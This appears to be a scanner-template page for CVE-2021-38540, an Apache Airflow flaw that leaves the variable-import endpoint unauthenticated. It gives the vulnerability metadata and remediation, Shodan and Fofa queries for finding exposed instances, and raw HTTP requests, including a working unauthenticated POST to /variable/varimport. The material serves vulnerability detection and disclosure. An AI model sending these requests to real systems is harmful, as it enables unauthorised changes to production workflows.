| Title | Apache Airflow - Unauthenticated Variable Import |
|---|---|
| Author | pdteam |
| Severity | Critical |
| Impact | An attacker can exploit this vulnerability to import malicious variables, potentially gaining unauthorized access to sensitive data. |
| Remediation | Upgrade to Apache Airflow 2.1.3 or higher. |
| CVSS Score | 9.8 |
| EPSS Score | 0.90036 |
| CVE ID | CVE-2021-38540 |
| CWE ID | CWE-306,CWE-269 |
| Shodan Query | title:"Sign In - Airflow"http.title:"airflow - dags" || http.html:"apache airflow"http.title:"sign in - airflow"product:"redis" |
| Fofa Query | title="sign in - airflow"apache airflowtitle="airflow - dags" || http.html:"apache airflow" |
| Tags | cve2021 cve apache airflow rce intrusive vuln |
Apache Airflow Airflow >=2.0.0 and <2.1.3 does not protect the variable import endpoint which allows unauthenticated users to hit that endpoint to add/modify Airflow variables used in DAGs, potentially resulting in a denial of service, information disclosure or remote code execution.
GET /login/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Origin: http://www.victim.com
Accept-Encoding: gzip
POST /variable/varimport HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Connection: close
Content-Length: 364
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryB874qcjbpxTP1Hj7
Origin: /
Referer: //admin/variable/
Accept-Encoding: gzip
------WebKitFormBoundaryB874qcjbpxTP1Hj7
Content-Disposition: form-data; name="csrf_token"
hXJFHp
------WebKitFormBoundaryB874qcjbpxTP1Hj7
Content-Disposition: form-data; name="file"; filename="38FMNTu0RNd2SAAyrf99CRGm5iK.json"
Content-Type: application/json
{
"type": "38FMNTu0RNd2SAAyrf99CRGm5iK"
}
------WebKitFormBoundaryB874qcjbpxTP1Hj7--
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-38540.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-38540.pcap
N/AN/A